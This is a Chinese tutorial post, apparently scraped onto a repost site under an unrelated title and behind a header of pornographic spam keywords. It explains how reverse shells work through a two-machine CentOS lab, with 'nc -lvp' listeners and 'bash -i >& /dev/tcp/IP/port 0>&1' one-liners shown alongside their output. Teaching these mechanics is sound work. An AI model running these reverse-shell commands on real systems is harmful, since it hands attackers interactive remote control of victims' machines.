日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

centos7输入shell找不到命令_反弹shell原理与实现

發布時間:2025/4/5 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 centos7输入shell找不到命令_反弹shell原理与实现 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

什么是反彈shell?

  反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。

為什么要反彈shell?

通常用于被控端因防火墻受限、權限不足、端口被占用等情形。

舉例:假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面、web服務、ssh、telnet等等都是正向連接。那么什么情況下正向連接不能用了呢?

有如下情況:

1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。

2.目標機器的ip動態改變,你不能持續控制。

3.由于防火墻等限制,對方機器只能發送請求,不能接收請求。

4.對于病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機等情況都是未知的,所以建立一個服務端讓惡意程序主動連接,才是上策。

那么反彈就很好理解了,攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。

參考: https://www.zhihu.com/question/24503813

反彈shell實驗

環境:兩臺CentOS7.6服務器

  • 攻擊端 hacker:10.201.61.194
  • 受害端 victim:10.201.61.195

1. 攻擊端監聽一個端口:

[root@hacker ~]# nc -lvp 6767 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::6767 Ncat: Listening on 0.0.0.0:6767

2.受害端生成一個反彈shell:

[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1

3.攻擊端已獲取到受害端的bash:

[root@hacker ~]# nc -lvp 6767 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::6767 Ncat: Listening on 0.0.0.0:6767 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:46836. [root@victim ~]# //攻擊端已獲得受害端的遠程交互式shell [root@victim ~]# hostname hostname victim

解釋:

1. nc -lvp 6767

-l 監聽,-v 輸出交互或出錯信息,-p 端口。nc是netcat的簡寫,可實現任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口。

2. bash -i

-i interactive。即產生一個交互式的shell(bash)。

3. /dev/tcp/IP/PORT

特殊設備文件(Linux一切皆文件),實際這個文件是不存在的,它只是 bash 實現的用來實現網絡請求的一個接口。打開這個文件就相當于發出了一個socket調用并建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。

通過以下4個小測試來分析反彈shell實現過程:

(PS: 注意執行步驟順序)

測試1:

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 //第二步 [root@victim ~]# hostname //第三步 [root@victim ~]#攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:49018.victim //測試1結果:實現了將受害端的標準輸出重定向到攻擊端,但是還沒實現用命令控制受害端。

測試2:

受害端:

[root@victim ~]# bash -i < /dev/tcp/10.201.61.194/5566 //第二步 [root@victim ~]# hostname //測試2結果:實現了將攻擊端的輸入重定向到受害端,但是攻擊端看不到命令執行結果。 victim攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:50412. hostname //第三步(攻擊端執行命令)

測試3:

受害端:

[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 //第二步 [root@victim ~]# hostname //受害端回顯命令 [root@victim ~]# id //受害端回顯命令 [root@victim ~]# hahaha //受害端回顯命令 bash: hahaha: command not found //受害端回顯命令。顯示錯誤命令的輸出。 [root@victim ~]#攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:36792. hostname //第三步(攻擊端執行命令) victim id //第四步(攻擊端執行命令) uid=0(root) gid=0(root) groups=0(root) hahaha //第五步(執行一個錯誤的命令)//測試3結果:基本實現了反彈shell的功能。但是受害端的機器上依然回顯了攻擊者機器上執行的命令,且攻擊端看不到錯誤命令的輸出。

測試4(將上面三個測試結合。將標準輸入、標準輸出、錯誤輸出全都重定向到攻擊端):

受害端:[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1 //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1 (注:&>或>& 表示混合輸出,即標準輸出1 + 錯誤輸出2)攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:51182. [root@victim ~]# hostname //第三步。測試4結果:攻擊端已獲得受害端的遠程交互式shell,而且受害端沒有再回顯攻擊端輸入的命令~ hostname victim//PS:由測試3、測試4對比可見,標準錯誤2不僅顯示錯誤信息的作用,居然還有回顯輸入命令和終端提示符的作用~~~

總結:

本文整理了反彈shell的一些資料并通過實驗理解反彈shell原理。深入理解文件描述符和重定向才能更好弄懂反彈shell~

參考:https://xz.aliyun.com/t/2549 先知社區:Linux 反彈shell(二)反彈shell的本質 https://www.freebuf.com/articles/system/153986.html FREEBUF:淺析重定向與反彈Shell命令

以上內容希望幫助到大家,很多PHPer在進階的時候總會遇到一些問題和瓶頸,業務代碼寫多了沒有方向感,不知道該從那里入手去提升,對此我整理了一些資料,包括但不限于:分布式架構、高可擴展、高性能、高并發、服務器性能調優、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階干貨需要的可以免費分享給大家,需要戳下方

PHP進階架構師>>>視頻、面試文檔免費獲取?docs.qq.com

或者關注我看更多技術文

PHP架構師之路?www.zhihu.com來源:https://www.cnblogs.com/iouwenbo/p/11277453.html

總結

以上是生活随笔為你收集整理的centos7输入shell找不到命令_反弹shell原理与实现的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。